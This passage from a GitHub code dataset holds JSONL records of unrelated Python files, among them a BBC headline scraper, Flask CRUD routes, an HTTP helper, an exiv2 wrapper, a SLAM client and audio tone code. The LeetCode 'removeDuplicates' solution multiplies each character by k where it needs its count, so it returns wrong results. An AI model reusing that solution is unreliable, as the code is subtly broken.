\"MID\")\n & (player_core[\"minutes\"] > 90)\n ]\n .copy()\n .sort_values([\"midCombinedIndex\"], ascending=False)[\n [\n \"first_name\",\n \"second_name\",\n \"name\",\n \"form\",\n \"selected_by_percent\",\n \"total_points\",\n \"minutes\",\n \"influence\",\n \"creativity\",\n \"threat\",\n \"midCombinedIndex\",\n ]\n ]\n .copy()\n )\n\n top_fwd = (\n player_core.loc[\n (player_core[\"singular_name_short\"] == \"FWD\")\n & (player_core[\"minutes\"] > 90)\n ]\n .copy()\n .sort_values([\"fwdCombinedIndex\"], ascending=False)[\n [\n \"first_name\",\n \"second_name\",\n \"name\",\n \"form\",\n \"selected_by_percent\",\n \"total_points\",\n \"minutes\",\n \"influence\",\n \"creativity\",\n \"threat\",\n \"fwdCombinedIndex\",\n ]\n ]\n .copy()\n )\n\n pass\n\n\nif __name__ == \"__main__\":\n imported_data = importData()\n out = preProc(imported_data)\n","repo_name":"desiretheory/fpl","sub_path":"fpl/fpl/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":9455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29589209738","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport time\r\nfrom datetime import datetime\r\n\r\n#set default variable\r\ncurrent_top1 = \"Blank\"\r\ni = 0\r\n\r\n# create infinite loop to keep program running\r\nwhile True:\r\n # use BeautifulSoup to get BBC web page and access top story #1 headline\r\n page = requests.get(\"https://www.bbc.co.uk/news\")\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n top1_div = soup.find(\"div\", attrs={\"data-entityid\": \"container-top-stories#1\"})\r\n top1_head = top1_div.h3.string\r\n\r\n # used to add timestamp to any change to top story\r\n now = datetime.now()\r\n current_time = now.strftime(\"%d/%m/%Y, %H:%M:%S\")\r\n\r\n # check if top story headline has changed and print relevant result\r\n if(top1_head != current_top1):\r\n print(\"New Top Story!!! (\", current_time, \")\")\r\n print(top1_head)\r\n current_top1 = top1_head\r\n i=0\r\n else:\r\n if(i % 10 == 0):\r\n print(\"No change to top story, current top story is:\")\r\n print(top1_head)\r\n else:\r\n print(\"...\")\r\n i+=1\r\n # to add delay to loop re-running\r\n time.sleep(10.0)\r\n","repo_name":"EuanDodds/Portfolio-Projects","sub_path":"bbc_top_story.py","file_name":"bbc_top_story.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74895826010","text":"class Solution:\n def removeDuplicates(self, s: str, k: int) -> str:\n stack = [] # [{\"a\":3} , {\"b\":5} , ...]\n for i, ch in enumerate(s):\n if stack and stack[-1][0] == ch:\n stack[-1][1] += 1\n if stack[-1][1] == k:\n stack.pop()\n else:\n stack.append([ch, 1])\n\n return ''.join(c * k for c, cnt in stack)\n","repo_name":"debbs061/algorithm","sub_path":"src/1209-remove-all-adjacent-duplicates-in-string-2.py","file_name":"1209-remove-all-adjacent-duplicates-in-string-2.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12601230276","text":"from flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.models.category import db, Category\nfrom ..forms.category_form import CategoryForm\nfrom .auth_routes import validation_errors_to_error_messages\n\ncategory_routes = Blueprint('categories', __name__)\n\n\n# CREATE A NEW CATEGORY\n@category_routes.route('/new', methods=['POST'])\n@login_required\ndef create_category():\n form = CategoryForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n\n if form.validate_on_submit():\n category = Category(\n name=form.data['name'],\n user_id=current_user.id\n )\n db.session.add(category)\n db.session.commit()\n\n return category.to_dict(), 200\n else:\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n\n# READ ALL CATEGORIES\n@category_routes.route('/')\n@login_required\ndef user_categories():\n user_categories = Category.query.filter_by(user_id=current_user.id).all()\n return {'categories': [category.to_dict() for category in user_categories]}, 200\n\n\n# GET CATEGORY INFO BASED ON CATEGORY ID (GRABS ALL ITEMS IN CATEGORY)\n@category_routes.route('/')\n@login_required\ndef one_category(category_id):\n user_category = Category.query.get(category_id)\n if user_category:\n if user_category.user_id == current_user.id:\n return {'category': user_category.to_dict()}, 200\n else:\n return {'errors': 'Unauthorized to get this category'}, 401\n else:\n return {'errors': 'Category not found'}, 404\n\n\n# UPDAE A CATEGORY NAME BASED ON CATEGORY ID\n@category_routes.route('/', methods=[\"PUT\", \"PATCH\"])\n@login_required\ndef update_category(category_id):\n form = CategoryForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n\n if form.validate_on_submit():\n category = Category.query.get(category_id)\n\n if category:\n if category.user_id == current_user.id:\n category.name = form.data['name']\n db.session.commit()\n return category.to_dict(), 200\n else:\n return {'errors': 'Unauthorized to update this category'}, 401\n else:\n return {'errors': 'Category not found'}, 404\n else:\n return {'errors': validation_errors_to_error_messages(form.errors)}, 400\n\n\n# DELETE A CATEGORY FROM CATEGORY ID\n@category_routes.route('/', methods=[\"DELETE\"])\n@login_required\ndef delete_category(category_id):\n category = Category.query.get(category_id)\n if category:\n if category.user_id == current_user.id:\n db.session.delete(category)\n db.session.commit()\n return {'message': 'Category deleted successfully'}, 200\n else:\n return {'errors': 'Unauthorized to delete this category'}, 401\n else:\n return {'errors': 'Category not found'}, 404\n","repo_name":"yassin30000/inventory_now","sub_path":"app/api/category_routes.py","file_name":"category_routes.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20286369385","text":"\"\"\"\n联网相关\n\"\"\"\n\nimport os\n\nimport requests\n\n\ndef get(url, params=None, headers=None, cookies=None, encoding='utf-8', result_type='text', need_print=True):\n \"\"\"\n 获取数据\n :param url: 地址\n :param params: 参数\n :param headers: 头\n :param cookies: cookies\n :param encoding: 编码\n :param result_type: 结果类型\n :param need_print: 是否需要打印\n :return:\n \"\"\"\n # 伪装头\n # Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\n ua = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'\n if headers is None or not isinstance(headers, dict):\n headers = {\n 'User-Agent': ua\n }\n else:\n if not 'User-Agent' in headers.keys():\n headers['User-Agent'] = ua\n # 打开请求\n if need_print:\n print(\"open \" + url)\n if params is not None:\n print('params', params)\n result = requests.get(url, params=params, headers=headers, cookies=cookies)\n result.encoding = encoding\n if result_type == 'text':\n result = result.text\n elif result_type == 'json':\n result = result.json()\n if need_print:\n print(f'result is {result_type}\\n{result}')\n return result\n\n\ndef get_file(url, file_path, need_print=True, **kwargs):\n \"\"\"下载文件\"\"\"\n if need_print:\n print('下载文件 %s ,从 %s' % (file_path, url))\n dir_name = os.path.dirname(file_path)\n if not os.path.exists(dir_name):\n os.makedirs(dir_name)\n if need_print:\n print('创建目录 %s' % dir_name)\n r = requests.get(url, None, **kwargs)\n with open(file_path, 'wb') as f:\n f.write(r.content)\n if need_print:\n print('下载完成')\n\n\ndef parse_cookies_from_file(file_path, exit_if_not_exists=True):\n \"\"\"\n 从文件中解析 cookies\n :param file_path: 文件路径\n :param exit_if_not_exists:文件不存在时,是否退出\n :return:\n \"\"\"\n if not os.path.exists(file_path):\n print('cookies file not exists:', file_path)\n if exit_if_not_exists:\n exit()\n else:\n return\n with open(file_path, encoding='utf-8') as f:\n return parse_cookies(f.read())\n\n\ndef parse_cookies(cookies=''):\n \"\"\"从字符串中解析出 cookies\"\"\"\n result = dict()\n if not cookies:\n return result\n\n key_value_list = cookies.split(';')\n for key_value in key_value_list:\n key_value_pair = key_value.split('=', maxsplit=1)\n if len(key_value_pair) == 2:\n key, value = key_value_pair\n result[key.strip()] = value.strip()\n return result\n\n\ndef parse_params_from_file(file_path):\n with open(file_path, encoding='utf-8') as f:\n return parse_params(f.read())\n\n\ndef cookies_to_str(cookies):\n \"\"\"转 cookies 为字符串\"\"\"\n return ';'.join([k + '=' + v for k, v in cookies.items()])\n\n\ndef parse_params(params):\n \"\"\"\n 解析参数,从 fiddler 中抓取后直接复制\n 以 # 开头或者空行将被忽略\n \"\"\"\n data = {}\n for line in params.split('\\n'):\n if line.startswith('#'):\n continue\n if '\\t' not in line:\n continue\n key, value = line.split('\\t')\n data[key] = value\n return data\n\n\ndef handle_result(request, success_callback=None, fail_callback=None, print_result=True):\n \"\"\"处理结果\"\"\"\n result = request.json()\n if print_result:\n print(result)\n if result:\n code = result['code']\n if code == 200:\n # 成功\n data = result['data']\n if success_callback:\n success_callback(data)\n return data\n else:\n # 失败\n msg = result['msg']\n print(msg)\n if fail_callback:\n fail_callback(code, msg)\n else:\n # 结果为空\n if fail_callback:\n fail_callback(0, None)\n return None\n","repo_name":"pingfangx/pythonx","sub_path":"ToolsX/xx/netx.py","file_name":"netx.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"32"} +{"seq_id":"1510032279","text":"# -*- coding: utf-8 -*-\nfrom subprocess import CalledProcessError\nfrom typing import List\n\nfrom lib import cli\nimport lib.meta_data as md\nfrom lib.config import Configuration\nfrom tests.defines import EXIV2_WARN_ERROR_CODE\n\n\nclass ExifEditor:\n\n def __init__(self, config: Configuration):\n self._config = config\n\n def get_meta_data_safe(self, path: str) -> md.MetaData:\n \"\"\"\n :raises InvalidMetaDataError if the exiv data of the file could not be parsed\n FileNotFoundError if the file could not be found\n \"\"\"\n try:\n return self.get_meta_data(path)\n except CalledProcessError:\n return md.empty()\n\n def get_meta_data(self, path: str) -> md.MetaData:\n \"\"\"\n :raises CalledProcessError if the exiv2 command terminated abnormally\n InvalidMetaDataError if the exiv data of the file could not be parsed\n FileNotFoundError if the file could not be found\n \"\"\"\n try:\n serialized = self._read_exif_field(self._config.exif_field_name, path)\n except CalledProcessError as e:\n if _is_file_not_found(e):\n raise FileNotFoundError(e)\n else:\n raise e\n return md.deserialize(serialized)\n\n def set_meta_data(self, path: str, data: md.MetaData):\n \"\"\"\n :raises CalledProcessError if the exiv2 command terminated abnormally\n FileNotFoundError if the file could not be found\n \"\"\"\n try:\n self._write_exif_field(self._config.exif_field_name, data.serialize(), path)\n except CalledProcessError as e:\n if _is_file_not_found(e):\n raise FileNotFoundError(e)\n else:\n raise e\n\n def _read_exif_field(self, field_name: str, path: str) -> str:\n base = self._build_exiv_base_command()\n command = self._build_exiv_read_command(base, field_name, path)\n std_out_lines = cli.run_cmd(command, EXIV2_WARN_ERROR_CODE)\n return \" \".join(std_out_lines[0].split()[3:])\n\n def _write_exif_field(self, field_name: str, value: str, path: str):\n base = self._build_exiv_base_command()\n command = self._build_exiv_write_command(base, field_name, value, path)\n cli.run_cmd(command)\n\n def _build_exiv_base_command(self) -> List[str]:\n cmd = ['exiv2', '-n', self._config.exiv2_charset]\n if self._config.exiv2_quiet:\n cmd.append('-q')\n return cmd\n\n def _build_exiv_read_command(self, base_command: List[str], field_name: str, path: str):\n base_command.append('-b')\n base_command.append('-K')\n base_command.append(field_name)\n base_command.append(path)\n return base_command\n\n def _build_exiv_write_command(self, base_command: List[str], field_name: str, value: str, path: str):\n if self._config.exiv2_keep_time_stamps:\n base_command.append('-k')\n base_command.append('-M')\n base_command.append('set ' + field_name + ' ' + value)\n base_command.append(path)\n return base_command\n\n\ndef _is_file_not_found(error: CalledProcessError):\n return error.returncode == 255\n","repo_name":"enguerrand/tie","sub_path":"lib/exif_editor.py","file_name":"exif_editor.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33978138416","text":"import logging, glob, re, click\nfrom sqlalchemy import create_engine, Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import distinct\nfrom openpyxl import load_workbook\nfrom xlrd import *\n\n\n# configure sqlalchemy\nColumn = Column\nInteger = Integer\nString = String\nBase = declarative_base()\ncreate_engine = create_engine\nengine = create_engine('sqlite:///:memory:', echo=True)\nSession = sessionmaker(bind=engine)\n\n\nclass UserEmail(Base):\n __tablename__ = 'emails'\n\n id = Column(Integer, primary_key=True)\n user_id = Column(String(128))\n email = Column(String(320))\n\n\nBase.metadata.create_all(engine)\n\n\n# configure logging\nlogging.basicConfig(level=logging.DEBUG)\n\n\ndef find_all_reports(dir):\n # 'AllReviewsReport', 'AllReviewsbyContributorReport'\n return glob.glob('{0}/*{1}*.xls'.format(dir, 'AllReviewsReport'))\n\n\ndef get_emails(reports):\n \"\"\"Get all reports, collect all 'User ID' and 'User Email Address'\n values\"\"\"\n logging.debug(reports)\n for r in reports:\n wb = open_workbook(r)\n if 'All Reviews Report' in wb.sheet_names():\n ws = wb.sheet_by_name('All Reviews Report')\n logging.debug('cols: {0}, rows: {1}'.format(ws.ncols, ws.nrows))\n logging.debug(ws.name)\n logging.debug(ws.row(3))\n logging.debug(ws.row(3)[0].value)\n\n email_loc = [{'row': row, 'col': col}\n for col in range(ws.ncols)\n for row in range(ws.nrows)\n if ws.cell_value(row, col) == 'User Email Address']\n\n if len(email_loc) > 1:\n raise ValueError('More than one column in the All Reviews\\\n Report \"{0}\" was named \"{1}\"'.format(\n r,\n 'User Email Address'))\n\n userid_loc = [{'row': row, 'col': col}\n for col in range(ws.ncols)\n for row in range(ws.nrows)\n if ws.cell_value(row, col) == 'User ID']\n\n if len(userid_loc) > 1:\n raise ValueError('More than one column in the All Reviews\\\n Report \"{0}\" was named \"{1}\"'.format(\n r,\n 'User ID'))\n\n emails = [UserEmail(\n user_id=ws.cell_value(row, userid_loc[0]['col']),\n email=ws.cell_value(row, email_loc[0]['col']))\n for row in range(email_loc[0]['row'] + 1, ws.nrows)]\n\n logging.debug(emails)\n logging.debug(dir(emails[0]))\n\n session = Session()\n\n session.add_all(emails)\n session.commit()\n\n logging.debug(session.query(UserEmail).distinct(UserEmail.email).group_by(UserEmail.email).count())\n\n\n\ndef dedupe_emails():\n pass\n\n\ndef merge_emails():\n pass\n\n\n@click.command()\n@click.argument('dir', type=click.Path(exists=True,\n writable=True))\ndef cli(dir=\".\"):\n \"\"\"\"Simple progam that takes Bazaarvoice All Reviews Report, pulls in all\n 'User ID' and 'User Email Address' data, de-dupes it and merges it into\n the All Reviews by Contributor report, merging on\n 'User ID' and 'Reviewr ID'.\"\"\"\n logging.debug(dir)\n reports = find_all_reports(dir)\n get_emails(reports)\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"arteedecco/all-reviews-reports-merge","sub_path":"merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36949143983","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime, date, timedelta\nfrom utils import log_msg\nfrom bwdb import DB\nimport argparse\nimport os\nimport sys\n\n\ndef init_globals(args):\n global app_root, db\n app_path = os.path.dirname(os.path.realpath(__file__))\n app_root = os.path.realpath(os.path.join(app_path, '..'))\n\n db = DB(db=args.database)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Sniff interface to record metrics of IP packets.')\n\n #parser.add_argument('-c', '--config', type=str,\n # default='bwm.cfg',\n # help='configuration file')\n parser.add_argument('-d', '--database', type=str,\n default='net_mon.db',\n help='database')\n parser.add_argument('-M', '--minute_table', type=int,\n default=8,\n help='weeks to keep minute table')\n parser.add_argument('-H', '--hour_table', type=int,\n default=26,\n help='weeks to keep hour table')\n parser.add_argument('-D', '--day_table', type=int,\n default=520,\n help='weeks to keep day table')\n\n return parser.parse_args()\n\n\ndef create_tables():\n global db\n log_msg('creating tables')\n db.create_tables()\n\n\ndef rebuild_table(name=''):\n global db\n log_msg('rebuilding table: name='+str(name))\n day = db.get_min_full_day()\n db.summarize_data(name, day, compare='>=')\n log_msg('rebuilding done')\n\n\ndef archive_table(name='', weeks=''):\n global db\n day = (date.today() - timedelta(weeks=weeks)).strftime('%Y-%m-%d')\n log_msg('archiving table: name='+str(name)+', weeks='+str(weeks)+', day='+str(day))\n log_msg('archiving done')\n\n\nif __name__ == \"__main__\":\n global db\n\n log_msg('Initializing '+__file__+'...')\n\n args = parse_args()\n\n init_globals(args)\n\n rebuild_table('hour')\n rebuild_table('day')\n #archive_table('minute', args.minute_table)\n #archive_table('hour', args.hour_table)\n #archive_table('day', args.day_table)\n\n log_msg('Done.')\n\n","repo_name":"streckc/bwm","sub_path":"bin/db_maint.py","file_name":"db_maint.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"32141788491","text":"import utility\nimport resolution_equation as resolve\nimport variable_equation as veq\ndef base_function():\n user_input = utility.get_equation()\n user_input = user_input.replace(\" \", \"\")\n mode = utility.chose_mode(user_input)\n if not mode:\n result = resolve.create_result(user_input)\n else:\n result = veq.resolve_variable_equation(user_input)\n\n if result == 'Errore':\n print('Errore')\n base_function()\n else:\n print(result)\n response = input(\"Do you want to continue? Y/N \")\n control = utility.control_response(response)\n if control:\n base_function()\n else:\n print('GoodBye')","repo_name":"GvMazzon25/FirstPythonProject","sub_path":"sub_main.py","file_name":"sub_main.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7483085639","text":"import zmq\nimport cv2\nimport numpy as np\nimport time\nimport imageio\n\n\nclass OrbSlam2Connector:\n # slam server 地址\n slam_server_address = '127.0.0.1:35696'\n # 掉线标记\n offline = True\n # 连接时最大尝试次数\n max_try_count = 10\n\n\n _SLAM_SYSTEM_NOT_READY = -1,\n _SLAM_NO_IMAGES_YET = 0,\n _SLAM_NOT_INITIALIZED = 1,\n _SLAM_OK = 2,\n _SLAM_LOST = 3\n\n def __init__(self):\n self.start_time = time.time()\n print('orbslam2_connector: init slam connect')\n self.ctx = zmq.Context()\n self.socket = self.ctx.socket(zmq.REQ)\n self.socket.setsockopt(zmq.LINGER, 0)\n self.socket.setsockopt(zmq.RCVTIMEO, 1000)\n self.socket.setsockopt(zmq.SNDTIMEO, 1000)\n # 要求如果没有建立链接,立刻返回\n self.socket.setsockopt(zmq.IMMEDIATE, True)\n # 要求应答序号要一一对应\n self.socket.setsockopt(zmq.REQ_CORRELATE, True)\n # 要求不严格轮换\n self.socket.setsockopt(zmq.REQ_RELAXED, True)\n\n self.socket.connect('tcp://%s' % self.slam_server_address)\n while self.offline:\n try:\n print('orbslam2_connector: try say hello to slam server')\n self.socket.send(bytes(np.array([-1], np.int32)))\n data = self.socket.recv()\n if len(data) == 4:\n data = int(np.frombuffer(data, np.int))\n if data == -1:\n print('orbslam2_connector: connect success')\n self.offline = False\n continue\n print('wrong data')\n except zmq.error.Again:\n print('orbslam2_connector: connect out of time, will try again')\n\n\n def get_pos(self, imgLR):\n imgLR = cv2.resize(imgLR, (1280, 360), interpolation=cv2.INTER_AREA)\n assert imgLR.shape == (360, 1280, 3)\n\n ts = time.time() - self.start_time\n ts = int(ts*1000)\n mtype = bytes(np.array([1], np.int32))\n timestamp = bytes(np.array([ts], np.int32))\n imcode = bytes(cv2.imencode('.jpg', imgLR)[1])\n imcode_len = bytes(np.array([len(imcode)], np.uint32))\n msg = mtype + timestamp + imcode_len + imcode\n\n try:\n self.socket.send(msg, copy=False)\n self.offline = False\n except zmq.error.Again:\n self.offline = True\n\n # 如果没有成功发送\n if self.offline:\n print('orbslam2_connector: found offline when send data')\n return False, None\n\n try:\n data = self.socket.recv()\n self.offline = False\n except zmq.error.Again:\n self.offline = True\n\n # 如果没有成功接收\n if self.offline:\n print('orbslam2_connector: found offline when recv data')\n return False, None\n\n if len(data) != 76:\n print('orbslam2_connector: recv data wrong')\n return False, None\n\n mtype = np.frombuffer(data[0:4], np.int32)[0]\n slam_status = np.frombuffer(data[4:8], np.int32)[0]\n rel_mat = np.frombuffer(data[8:72], np.float32).reshape([4, 4])\n restart_count = np.frombuffer(data[72:76], np.int32)[0]\n\n if mtype != 1:\n print('orbslam2_connector: recv data wrong')\n return False, None\n\n if slam_status != self._SLAM_OK:\n print('SLAM is not OK')\n return False, None\n\n return restart_count, rel_mat\n\n def get_restart_count(self):\n pass\n\n def get_status(self):\n pass\n\n\nif __name__ == '__main__':\n osc = OrbSlam2Connector()\n cam1 = imageio.get_reader('', size=(1280, 720))\n cam2 = imageio.get_reader('', size=(1280, 720))\n\n # 读取相机参数\n stereo_cam_params_file = 'stereo_cam_params_imx322_1280x720.yml'\n f = cv2.FileStorage(stereo_cam_params_file, cv2.FILE_STORAGE_READ)\n matL = f.getNode('LM').mat()\n distL = f.getNode('LD').mat()\n matR = f.getNode('RM').mat()\n distR = f.getNode('RD').mat()\n R = f.getNode('R').mat()\n T = f.getNode('T').mat()\n hw = np.array([720, 1280])\n f.release()\n\n # 设定立体矩阵\n wh = tuple(hw[::-1])\n R1, R2, P1, P2, Q, validPixROI1, validPixROI2 = \\\n cv2.stereoRectify(matL, distL, matR, distR,\n wh, R, T, flags=cv2.CALIB_ZERO_DISPARITY, alpha=-1, newImageSize=wh)\n\n mapL1, mapL2 = cv2.initUndistortRectifyMap(matL, distL, R1, P1, wh, cv2.CV_16SC2)\n mapR1, mapR2 = cv2.initUndistortRectifyMap(matR, distR, R2, P2, wh, cv2.CV_16SC2)\n\n while True:\n imgL = cam1.get_next_data()\n imgR = cam2.get_next_data()\n\n imgL = cv2.rotate(imgL, cv2.ROTATE_180)\n imgR = cv2.rotate(imgR, cv2.ROTATE_180)\n\n # 校畸\n imgL = cv2.remap(imgL, mapL1, mapL2, cv2.INTER_LINEAR)\n imgR = cv2.remap(imgR, mapR1, mapR2, cv2.INTER_LINEAR)\n # imgL = cv2.resize(imgL, (640, 360), cv2.INTER_AREA)\n # imgR = cv2.resize(imgR, (640, 360), cv2.INTER_AREA)\n\n imgLR = np.concatenate([imgL, imgR], 1)\n imgLR = cv2.resize(imgLR, (1280, 360), interpolation=cv2.INTER_AREA)\n im_show = cv2.cvtColor(imgLR, cv2.COLOR_RGB2BGR)\n cv2.imshow('view', im_show)\n s, m = osc.get_pos(imgLR)\n print(s)\n cv2.waitKey(1000//30)\n\n","repo_name":"One-sixth/smart_car","sub_path":"orbslam2_connector.py","file_name":"orbslam2_connector.py","file_ext":"py","file_size_in_byte":5360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21457611523","text":"# import time\n# import math\n# import pyaudio\n# from cffi.backend_ctypes import xrange\n#\n#\n# class Beeper(object):\n#\n# def __init__(self, **kwargs):\n# self.bitrate = kwargs.pop('bitrate', 16000)\n# self.channels = kwargs.pop('channels', 1)\n# self._p = pyaudio.PyAudio()\n# self.stream = self._p.open(\n# format = self._p.get_format_from_width(1),\n# channels = self.channels,\n# rate = self.bitrate,\n# output = True,\n# )\n# self._queue = []\n#\n# def __enter__(self):\n# return self\n#\n# def __exit__(self, exc_type, exc_val, exc_tb):\n# self.stream.stop_stream()\n# self.stream.close()\n#\n# def tone(self, frequency, length=1000, play=False, **kwargs):\n#\n# number_of_frames = int(self.bitrate * length / 1000.)\n#\n# record = False\n# x = 0\n# y = 0\n# while 1:\n# x += 1\n# v = math.sin(x / ((self.bitrate / float(frequency)) / math.pi))\n#\n# # Find where the sin tip starts.\n# if round(v, 3) == +1:\n# record = True\n#\n# if record:\n# self._queue.append(chr(int(v * 127 + 128)))\n# y += 1\n# if y > number_of_frames and round(v, 3) == +1:\n# # Always end on the high tip of the sin wave to clips align.\n# break\n#\n# def play(self):\n# sound = ''.join(self._queue)\n# self.stream.write(sound)\n# time.sleep(0.1)\n#\n#\n# with Beeper(bitrate=88000, channels=2) as beeper:\n# i = 0\n# for f in xrange(1000, 800-1, int(round(-25/2.))):\n# i += 1\n# length = math.log(i + 1) * 250 / 2. / 2.\n# beeper.tone(frequency=f, length=int(length))\n# beeper.play()\n\nimport numpy\nimport pyaudio\nimport math\nimport random\n\n\ndef sine(frequency, length, rate):\n length = int(length * rate)\n factor = float(frequency) * (math.pi * 2) / rate\n waveform = numpy.sin(numpy.arange(length) * factor)\n return waveform\n\n\ndef play_tone(stream, frequency, length, rate=44100):\n chunks = [sine(frequency, length, rate)]\n\n chunk = numpy.concatenate(chunks) * 0.25\n\n fade = 200\n\n fade_in = numpy.arange(0., 1., 1 / fade)\n fade_out = numpy.arange(1., 0., -1 / fade)\n\n chunk[:fade] = numpy.multiply(chunk[:fade], fade_in)\n chunk[-fade:] = numpy.multiply(chunk[-fade:], fade_out)\n\n stream.write(chunk.astype(numpy.float32).tostring())\n\n\ndef bassline():\n frequency = 300\n for i in range(1000000):\n play_tone(stream, frequency, .15)\n change = random.choice([-75, -75, -10, 10, 2, 3, 100, -125])\n print (frequency)\n if frequency < 0:\n frequency = random.choice([100, 200, 250, 300])\n else:\n frequency = frequency + change\n\nif __name__ == '__main__':\n p = pyaudio.PyAudio()\n stream = p.open(format=pyaudio.paFloat32,\n channels=1, rate=44100, output=4)\n\nbassline()","repo_name":"Andrew-Garanin/AudioDigitalFiltering","sub_path":"beeper.py","file_name":"beeper.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71710088730","text":"\n\nimport random\n\ndef classes(room_dim, periods):\n#room_dim = list of room dimensions for each room (e.g. seat length x seat width)\n#periods = number of time periods (student has n periods (classes) a day)\n\n #determine number of students (seats) in each room\n room_size = []\n for n in room_dim: #for each set of dim in room_dim\n room_size.append(n[0] * n[1]) #size = r * c\n\n #determine total number of students, generate list of students\n num_students = sum(room_size) #total number of students\n students = range(num_students) #list of student numbers\n\n #assign students to classes\n class_list = []\n for i in range(periods): #repeats for each period\n random.shuffle(students) #shuffle list of students randomly\n\n d = 0\n for n in room_size:\n class_list.append(students[d:d + n]) #increments of students depending on room size\n d += n #keeps track of start of block, depending on size of previous room\n\n return(class_list) #class list includes lists of each class, repeated for different periods\n\nprint(classes([[1,2],[3,4]], 2)) #example\n\n###Notes:\n #Need to figure out how to implement student object with determining neighbors\n #Class list is a list, need to change back to array based on room dim to figure out neighbors\n\n","repo_name":"zackmcnulty/math_381_project","sub_path":"project-381-master/scratchwork-code/class-assignments.py","file_name":"class-assignments.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34367335866","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\n@author: Jeff Gould\n\n@description: file operation functions for black lists.\n'''\n\n#from functions import var\nfrom functions import *\n\n\n\n\ndef file_ops(df, server):\n\n named_full_log = server + full_log\n named_ip = server + ip\n named_ok = server + ok\n named_reject = server + reject\n flog = os.path.join(created_logs_dir, named_full_log)\n fip = os.path.join(created_logs_dir, named_ip)\n fok = os.path.join(created_logs_dir, named_ok)\n freject = os.path.join(created_logs_dir, named_reject)\n\n try:\n # create csv of all relevant columns\n df.to_csv(flog, index=False)\n\n # create csv of unique Ip address' and the frequency they appear\n ip_count = pd.DataFrame(columns=['IP', 'Frequency'])\n ip_count.IP = df.IP\n ip_count = ip_count.groupby('IP').agg({'Frequency': len})\n ip_count = ip_count.sort_values(by=['Frequency'], ascending=False)\n\n ip_count.to_csv(fip, index=True)\n\n # create csv of all OK request code 200\n ip_ok = df.loc[df.Code == 200]\n ip_ok.to_csv(fok, index=False)\n\n # create csv of all rejected request not code 200\n ip_rej = df.loc[df.Code != 200]\n ip_rej.to_csv(freject, index=False)\n\n logging.info(\"From file_ops() CSV's have been Created\")\n\n\n except Exception as e:\n logging.error('From file_ops()' + str(e))\n","repo_name":"Gould25/IPprojoct3113","sub_path":"functions/io_ops.py","file_name":"io_ops.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27921404535","text":"from switchboard.config import CONFIG, Setting\nfrom switchboard.devices.device_base import Device, DeviceStatus\nfrom switchboard.devices.device_widget_base import DeviceWidget\nfrom switchboard.switchboard_logging import LOGGER\nimport switchboard.switchboard_utils as utils\n\nfrom PySide2 import QtWidgets\nfrom .thirdparty.vicon_core_api import vicon_core_api\nfrom .thirdparty.shogun_live_api import shogun_live_api\n\nimport datetime\nfrom functools import wraps\n\n\ndef unresponsive_shogun(f):\n \"\"\"\n Decorator to gracefully disconnect if a Shogun command comes back with vicon_core_api.client.RPCError\n \"\"\"\n @wraps(f)\n def wrapped(self, *args, **kwargs):\n try:\n return f(self, *args, **kwargs)\n except vicon_core_api.client.RPCError:\n self.device_qt_handler.signal_device_connect_failed.emit(self)\n return None\n except ModuleNotFoundError:\n LOGGER.error('Could not connect to Shogun because the module was not installed')\n return None\n\n return wrapped\n\n\nclass DeviceShogun(Device):\n def __init__(self, name, ip_address, **kwargs):\n self.setting_save_path = Setting(\"save_path\", \"Save Path\", \"\")\n super().__init__(name, ip_address, **kwargs)\n\n self.trigger_start = True\n self.trigger_stop = True\n\n self.client = None\n\n self._slate = 'slate'\n self._take = 1\n\n def device_settings(self):\n return super().device_settings() + [self.setting_save_path]\n\n @property\n def save_path(self):\n return self.setting_save_path.get_value()\n\n @save_path.setter\n @unresponsive_shogun\n def save_path(self, value):\n if self.setting_save_path.get_value() == value:\n return\n\n self.setting_save_path.update_value(value)\n\n self.set_capture_folder()\n\n @unresponsive_shogun\n def 